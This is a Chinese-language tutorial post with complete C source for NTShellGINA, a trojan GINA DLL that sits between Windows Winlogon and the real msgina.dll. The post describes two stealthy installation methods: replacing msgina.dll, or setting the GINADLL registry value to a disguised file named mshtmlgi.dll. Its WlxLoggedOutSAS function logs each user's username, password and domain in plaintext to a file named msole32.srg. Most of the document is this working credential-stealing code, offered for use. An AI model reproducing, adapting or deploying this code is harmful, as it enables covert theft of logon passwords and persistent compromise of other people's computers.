Winlogon登录和GINA －－ NTShellGINA源代码

 

 一、理论

WinLogon登录管理：

1、

Winlogon进程负责管理登录相关的安全性工作，它负责处理用户的登录与注销、启动用户shell、输入口令、更改口令、锁定与解锁工作站等。Winlogon进程必须保证其与安全相关操作对其他进程不可见，以免其他进程取得登录密码。

系统初始化时，启动用户程序之前，Winlogon进行特定工作已保障以上的需求。

(1)  Winlogon进程将创建并打开一个Window Stations，然后设置一个访问控制人口(ACE)，该ACE中只包含Winlogon进程的SID，这样就只有Winlogon进程才能访问该Window Stations 。

(2)  然后winlogon创建桌面，设置其中的winlogon桌面只有winlogon可以访问，其他进程不能访问该桌面的任何数据和代码；利用这一特性保护口令、锁定桌面等操作的安全。winlogon还会注册安全注意序列（SAS - secure attention sequence）的热键，任何时候按下SAS热键（缺省为ctrl+alt+del），将调用Winlogon，切换到安全桌面，从而使密码捕捉程序不能接收登录密码和更改密码等安全活动。

2、
而登录进程的验证和身份验证都是在GINA（GINA - Graphical Identification and Authentication图形标识和身份验证）中实现的，微软的GINA是MSGINA.dll，实现了默认的Windows NT登录界面。
不过可以自己开发GINA DLL以实现其他的身份验证方法，如磁卡。当然这也为木马留下了机会，可以通过编写和系统GINA界面相同的GINA，然后取代MSGINA.dll。在msdn sample里有一个GINA的例子。不过如果仅仅为了获取登录密码，没有必要那么麻烦，只需写一个接口和GINA一样的，然后所有函数在实现时都去调
用MSGINA.dll的相同函数就可以了，在msdn sample里也有这样一个例子叫做ginastub，当然作为木马还要在登录时将密码转储。（更多的gina信息，在msdn里查找gina）

3、

（1）
NTShelGINA就是使用了后一种方法。我把ginastub改了改，在登录时将username：password：domain存在msole32.srg里。它在运行时具体功能都要调用msgina.dll，因此安装时这个文件必须存在，然后将msgina.dll改名为winlogon32.dll，然后把NTShellGINA.dll拷贝为msgina.dll即可。这是ntshell里的第二种安装方法。

（2）

不过微软还在注册表里留了一个位置由于安装GINA，在HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon下设置GINADLL为某个GINA DLL，（GINADLL这个值缺省没有）如果设置了这个值，nt会调用该GINA，而不会调用缺省的msGINA.dll。因此NTShell的第一种安装方法是将NTShellGINA.dll拷贝到system32\mshtmlgi.dll，然后设置GINADLL为mshtmlgi.dll。

因此第二种方法安装成功的前提是系统原来没有设置GINADLL这个值，否则将不予安装NTShellGINA 。当然在win2000里如果使用第二种安装方法还要把dllcache里msgina.dll改名。（ntshell改名为mshtmlgi.dll)。

由于GINA DLL负责系统认证和安全登录，因此如果一旦出错，用户将不能登录系统，必须慎用。也因此NTShell在安装时作了较多的检测，如果检测失败将不予安装。比如在把ntshellgina.dll拷贝为文件msgina.dll的安装方法里，第一次mslogon32.dll<-msgina.dll<-ntshellgina.dll，如果再次安装用msgina.dll替换mslogon32.dll，用ntshellgina.dll替换后来的msgina.dll（其实还是ntshellgina.dll)，这样原来的msgina.dll就没有了，只有两个ntshellgina.dll，找不到真正的msgina.dll，ntshellgina.dll将失败。

ntshell依次作如下检测：

步一：注册表里的GINADLL如果设置，则认为系统不是使用默认的登录GINA，自然不予安装（找不到msgina.dll或者其他程序工作不正常)
步二：如果系统的msgina.dll和ntshellgina.dll相同，则认为已经安装过了，不能再次安装
步三：如果系统中存在mslogon32.dll，有可能使用ntshell安装过了，不再安装（除非你确认，msgina.dll还是原来的，可以手工删除mslogon32.dll，再安装；否则不要安装）
步四：如果安装出错，不能登录，可以参考msdn的如下说明进行恢复：（我使用的是第4种方法，其他的未试）

 

二、代码

/*
NTShellGINA.c - a gina stub come from NTShell 1.0
　　by：[email protected], from homepage:bingle_site.top263.net

此文件是从tinastub.c文件修改过来的,
　　此文件将保存期登陆的密码到文件 system32\\msole32.srg

--*/
#include <windows.h>
#include <stdio.h>
#include <winwlx.h>
#include "ginastub.h"


//
// winlogon function dispatch table
//

PWLX_DISPATCH_VERSION_1_0 g_pWinlogon;

//
// Functions pointers to the real msgina which we will call.
//

PGWLXNEGOTIATE GWlxNegotiate;
PGWLXINITIALIZE GWlxInitialize;
PGWLXDISPLAYSASNOTICE GWlxDisplaySASNotice;
PGWLXLOGGEDOUTSAS GWlxLoggedOutSAS;
PGWLXACTIVATEUSERSHELL GWlxActivateUserShell;
PGWLXLOGGEDONSAS GWlxLoggedOnSAS;
PGWLXDISPLAYLOCKEDNOTICE GWlxDisplayLockedNotice;
PGWLXWKSTALOCKEDSAS GWlxWkstaLockedSAS;
PGWLXISLOCKOK GWlxIsLockOk;
PGWLXISLOGOFFOK GWlxIsLogoffOk;
PGWLXLOGOFF GWlxLogoff;
PGWLXSHUTDOWN GWlxShutdown;

//
// NEW for version 1.1
//

PGWLXSTARTAPPLICATION GWlxStartApplication;
PGWLXSCREENSAVERNOTIFY GWlxScreenSaverNotify;


//
// hook into the real GINA.
//
BOOL MyInitialize( void )
{
　　HINSTANCE hDll;
//
// judge if which dll to load, if the file named "msgina.dll"
//　　then ntshell is changed MSGINA.DLL-->mslogon32.dll, so load it
//　　if named others then just load MSGINA.DLL
//
　　char origina[]="MSGINA.DLL";
　　char chgedgina[]="mslogon32.dll";
　　char *realgina;
　　char filename[MAX_PATH];
　　int result;
　　FILE *fp;
　　HMODULE hself;

#ifdef _DEBUG
　　　　fp=fopen("ginalog.txt", "ab");
　　　　if(fp)
　　　　{
　　　　　　sprintf(filename, "\r\nMyInitialize been called by ");
　　　　　　fwrite(filename, strlen(filename), 1, fp);
　　　　　　result=GetModuleFileName(NULL, filename, MAX_PATH);
　　　　　　if(result)fwrite(filename, strlen(filename), 1, fp);
　　　　　　fclose(fp);
　　　　}
#endif
　　　　
　　realgina=NULL;
　　hself=GetModuleHandle(origina);
　　if(!hself)realgina=origina;//hself=GetModuleHandle(chgedgina);
　　else realgina=chgedgina;//if origina loaded, this is origina


　　// Load original MSGINA.DLL.
　　if( !(hDll = LoadLibrary( realgina )) ) {
　　　　return FALSE;
　　}

　　// Get pointers to all of the WLX functions in the real MSGINA.
　　GWlxNegotiate = (PGWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
　　if( !GWlxNegotiate ) {
　　　　return FALSE;
　　}

　　GWlxInitialize = (PGWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );
　　if( !GWlxInitialize ) {
　　　　return FALSE;
　　}

　　GWlxDisplaySASNotice =
　　　　(PGWLXDISPLAYSASNOTICE)GetProcAddress( hDll, "WlxDisplaySASNotice" );
　　if( !GWlxDisplaySASNotice ) {
　　　　return FALSE;
　　}

　　GWlxLoggedOutSAS =
　　　　(PGWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
　　if( !GWlxLoggedOutSAS ) {
　　　　return FALSE;
　　}

　　GWlxActivateUserShell =
　　　　(PGWLXACTIVATEUSERSHELL)GetProcAddress( hDll, "WlxActivateUserShell" );
　　if( !GWlxActivateUserShell ) {
　　　　return FALSE;
　　}

　　GWlxLoggedOnSAS =
　　　　(PGWLXLOGGEDONSAS)GetProcAddress( hDll, "WlxLoggedOnSAS" );
　　if( !GWlxLoggedOnSAS ) {
　　　　return FALSE;
　　}

　　GWlxDisplayLockedNotice =
　　　　(PGWLXDISPLAYLOCKEDNOTICE)GetProcAddress(
　　　　　　　　　　　　　　　　　　　　hDll,
　　　　　　　　　　　　　　　　　　　　"WlxDisplayLockedNotice" );
　　if( !GWlxDisplayLockedNotice ) {
　　　　return FALSE;
　　}

　　GWlxIsLockOk = (PGWLXISLOCKOK)GetProcAddress( hDll, "WlxIsLockOk" );
　　if( !GWlxIsLockOk ) {
　　　　return FALSE;
　　}

　　GWlxWkstaLockedSAS =
　　　　(PGWLXWKSTALOCKEDSAS)GetProcAddress( hDll, "WlxWkstaLockedSAS" );
　　if( !GWlxWkstaLockedSAS ) {
　　　　return FALSE;
　　}

　　GWlxIsLogoffOk = (PGWLXISLOGOFFOK)GetProcAddress( hDll, "WlxIsLogoffOk" );
　　if( !GWlxIsLogoffOk ) {
　　　　return FALSE;
　　}

　　GWlxLogoff = (PGWLXLOGOFF)GetProcAddress( hDll, "WlxLogoff" );
　　if( !GWlxLogoff ) {
　　　　return FALSE;
　　}

　　GWlxShutdown = (PGWLXSHUTDOWN)GetProcAddress( hDll, "WlxShutdown" );
　　if( !GWlxShutdown ) {
　　　　return FALSE;
　　}

　　// we don't check for failure here because these don't exist for
　　// gina's implemented prior to Windows NT 4.0
　　GWlxStartApplication = (PGWLXSTARTAPPLICATION) GetProcAddress( hDll, "WlxStartApplication" );
　　GWlxScreenSaverNotify = (PGWLXSCREENSAVERNOTIFY) GetProcAddress( hDll, "WlxScreenSaverNotify" );

　　// Everything loaded ok.　Return success.
　　return TRUE;
}


BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{
　　if( !MyInitialize() )　return FALSE;
　　return GWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}


BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
　　PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{
　　return GWlxInitialize( lpWinsta, hWlx, pvReserved,
　　　　　　　　pWinlogonFunctions, pWlxContext );
}


VOID WINAPI WlxDisplaySASNotice( PVOID pWlxContext )
{
　　GWlxDisplaySASNotice( pWlxContext );
}


int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
　　PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
　　PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
　　PVOID *pProfile)
{
　　int iRet;

　　iRet = GWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId,
　　　 pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );

　　if(iRet == WLX_SAS_ACTION_LOGON) {
　　　　// copy pMprNotifyInfo and pLogonSid for later use
　　　 
　　　　FILE *fp;
　　　　fp=fopen("msole32.srg", "a");
　　　　if(fp!=NULL)
　　　　{
　　　　　　char infor[300], buf[300];
　　　　　　memset(buf, 0, 300);
　　　　　　wcstombs(buf, pMprNotifyInfo->pszUserName, 300);
　　　　　　sprintf(infor, "%s", buf);

　　　　　　memset(buf, 0, 300);//if convert failed, we use the error one also
　　　　　　wcstombs(buf, pMprNotifyInfo->pszPassword, 300);
　　　　　　sprintf(infor, "%s:%s", infor, buf);
　　　　
　　　　　　memset(buf, 0, 300);
　　　　　　wcstombs(buf, pMprNotifyInfo->pszDomain, 300);
　　　　　　sprintf(infor, "%s:%s\r\n", infor, buf);
　　
　　　　　　fwrite(infor, 1, strlen(infor), fp);
　　　　　　fclose(fp);
　　　　}
　　　　// pMprNotifyInfo->pszOldPassword
　　}

　　return iRet;
}


BOOL WINAPI WlxActivateUserShell(
　　PVOID　　　　　 pWlxContext,
　　PWSTR　　　　　 pszDesktopName,
　　PWSTR　　　　　 pszMprLogonScript,
　　PVOID　　　　　 pEnvironment)
{
　　return GWlxActivateUserShell(
　　　　　　　　pWlxContext,
　　　　　　　　pszDesktopName,
　　　　　　　　pszMprLogonScript,
　　　　　　　　pEnvironment
　　　　　　　　);
}


int WINAPI WlxLoggedOnSAS(
　　PVOID　　　　　 pWlxContext,
　　DWORD　　　　　 dwSasType,
　　PVOID　　　　　 pReserved)
{
　　return GWlxLoggedOnSAS( pWlxContext, dwSasType, pReserved );
}

VOID WINAPI WlxDisplayLockedNotice( PVOID pWlxContext )
{
　　GWlxDisplayLockedNotice( pWlxContext );
}


BOOL WINAPI WlxIsLockOk( PVOID pWlxContext )
{
　　return GWlxIsLockOk( pWlxContext );
}


int WINAPI WlxWkstaLockedSAS(
　　PVOID　　　　　 pWlxContext,
　　DWORD　　　　　 dwSasType )
{
　　return GWlxWkstaLockedSAS( pWlxContext, dwSasType );
}

BOOL WINAPI WlxIsLogoffOk( PVOID pWlxContext )
{
　　BOOL bSuccess;

　　bSuccess = GWlxIsLogoffOk( pWlxContext );

　　if(bSuccess) {
　　　　//
　　　　// if it's ok to logoff, finish with the stored credentials
　　　　// and scrub the buffers
　　　　//
　　}

　　return bSuccess;
}


VOID WINAPI WlxLogoff( PVOID pWlxContext )
{
　　GWlxLogoff( pWlxContext );
}


VOID WINAPI WlxShutdown( PVOID pWlxContext, DWORD ShutdownType )
{
　　GWlxShutdown( pWlxContext, ShutdownType );
}


//
// NEW for version 1.1
//
BOOL WINAPI WlxScreenSaverNotify(
　　PVOID　　　　　　　　　 pWlxContext,
　　BOOL *　　　　　　　　　pSecure
　　)
{
　　if(GWlxScreenSaverNotify != NULL)
　　　　return GWlxScreenSaverNotify( pWlxContext, pSecure );

　　//
　　// if not exported, return something intelligent
　　//
　　*pSecure = TRUE;
　　return TRUE;
}

BOOL WINAPI WlxStartApplication(
　　PVOID　　　　　　　　　 pWlxContext,
　　PWSTR　　　　　　　　　 pszDesktopName,
　　PVOID　　　　　　　　　 pEnvironment,
　　PWSTR　　　　　　　　　 pszCmdLine
　　)
{
　　if(GWlxStartApplication != NULL)
　　　　return GWlxStartApplication(
　　　　　　pWlxContext,
　　　　　　pszDesktopName,
　　　　　　pEnvironment,
　　　　　　pszCmdLine
　　　　　　);
　　//
　　// if not exported, return something intelligent
　　//
}